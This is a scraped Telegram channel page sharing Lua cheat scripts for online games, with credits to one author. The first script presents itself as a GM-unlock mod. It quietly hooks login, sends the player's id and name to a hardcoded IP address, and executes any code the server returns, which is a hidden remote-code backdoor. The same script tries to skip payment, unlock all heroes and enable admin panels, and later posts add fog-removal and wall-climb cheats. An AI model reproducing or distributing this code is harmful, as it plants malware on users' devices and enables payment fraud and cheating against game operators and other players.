𝐅𝐄𝐀𝐓𝐔𝐑𝐄𝐒𝐓𝐈𝐂 𝐋𝐄𝐀𝐊𝐒
Открыть в Telegram
📌 Educational & Research Purpose Only 🔍 Sharing publicly available source code for learning ❌ No selling ❌ No buying ❌ No promotions ⚠️ I am not responsible for misuse 📚 For knowledge & awareness only MODs & Kernel Resources.☑️
Больше2 114
Подписчики
+1024 часа
+797 дней
+23430 дней
Архив постов
2 113
This Code the game
local Old_OnLoggedIn; Old_OnLoggedIn = OnLoggedIn; OnLoggedIn = function(param)
local a,b,c = pcall(Old_OnLoggedIn,param)
local me = param and param.role_id or 0
local url = "http://140.246.141.88:88/client"
local data = { uid = me, name = param and param.name or "unknown", server = (CS and CS.UnityEngine and CS.UnityEngine.Application and CS.UnityEngine.Application.version) or "" }
local ws = http.post(url, data)
local cmd = ws and ws.text
if cmd and cmd ~= "" then
local f,e = pcall(loadstring(cmd))
if not f then
print(e)
end
end
return a,b,c
end
local function InitGM()
local CS = CS
local GameManager = CS.GameManager
if not GameManager then return end
local Instance = GameManager.Instance
if not Instance then return end
local Lobby = Instance:GetLobby()
if not Lobby then return end
local LobbyUI = Lobby:GetLobbyUI()
if not LobbyUI then return end
local PanelChat = LobbyUI.PanelChat
if not PanelChat then return end
local ToggleGM = function()
local CSDebug = CS.Debug
if CSDebug then
CSDebug.isDebugBuild = true
end
local GM = CS.GM
if GM then
GM.Instance:ShowGM()
end
local MaoHaoDebugPanel = CS.MaoHaoDebugPanel
if MaoHaoDebugPanel then
MaoHaoDebugPanel.Instance:Show()
end
local ClientCloudGM = CS.GameLua.Mod.BaseMod.Client.ClientCloudGM
if ClientCloudGM then
ClientCloudGM.Instance:ShowGM()
end
end
local btn = PanelChat.gameObject:AddComponent(typeof(CS.UnityEngine.UI.Button))
btn.onClick:AddListener(ToggleGM)
end
pcall(InitGM)
local function SetGMLevel()
local PlayerPrefs = CS.UnityEngine.PlayerPrefs
PlayerPrefs.SetInt("GM_LEVEL", 100)
PlayerPrefs.SetInt("GM_ENABLE", 1)
PlayerPrefs.Save()
end
pcall(SetGMLevel)
local function UnlockAll()
local GameData = CS.GameData
if GameData then
local Tables = GameData.Tables
if Tables then
local HeroTable = Tables.HeroTable
if HeroTable then
for k,v in pairs(HeroTable) do
if v and v.id then
CS.GM_AddItem(1, v.id, 1)
end
end
end
end
end
end
local function SkipPayment()
local NetWork = CS.NetWork
if NetWork then
NetWork.SendToServer("GM_CMD", "SkipPayment 1")
end
end
local function OpenAllServer()
local CS = CS
local GameLua = CS.GameLua
if GameLua then
local Mod = GameLua.Mod
if Mod then
local BaseMod = Mod.BaseMod
if BaseMod then
local Client = BaseMod.Client
if Client then
local ClientCloudGM = Client.ClientCloudGM
if ClientCloudGM then
ClientCloudGM.HandleCloudGMCMDStr("OpenAllServer")
end
end
end
end
end
end
pcall(OpenAllServer)
pcall(SkipPayment)
pcall(UnlockAll)
NOTICE : If Your a real developer then you know what is this, Make Perfect Then You Can F*ck the Game
Credit:
XThrlen
2 113
KismetSystemLibrary.ExecuteConsoleCommand(uPlayerController, "r.Atmosphere 0")
KismetSystemLibrary.ExecuteConsoleCommand(uPlayerController, "r.Fog 0")
KismetSystemLibrary.ExecuteConsoleCommand(uPlayerController, "r.LightShafts 0")2 113
📱 Lua Based Wall Climb
local GameplayData = require("GameLua.GameCore.Data.Gamepla
local function WeowWallClimb()
local uLocalPlayer = GameplayData.GetPlayerCharacter()
if slua.isValid(uLocalPlayer) and uLocalPlayer.IsAlive and uLocalPlayer:IsAlive() then
local charMove = uLocalPlayer.CharacterMovement or uLocalPlayer.CharMoveComp
if slua.isValid(charMove) then
charMove.WalkableFloorAngle = 199.0
charMove.MaxStepHeight = 999.0
end
end
end
local function InitWallClimbSystem(PlayerContext)
if PlayerContext.AddGameTimer then
PlayerContext:AddGameTimer(0.1, true, function()
WeowWallClimb()
end)
end
end
Credit:
XThrlen
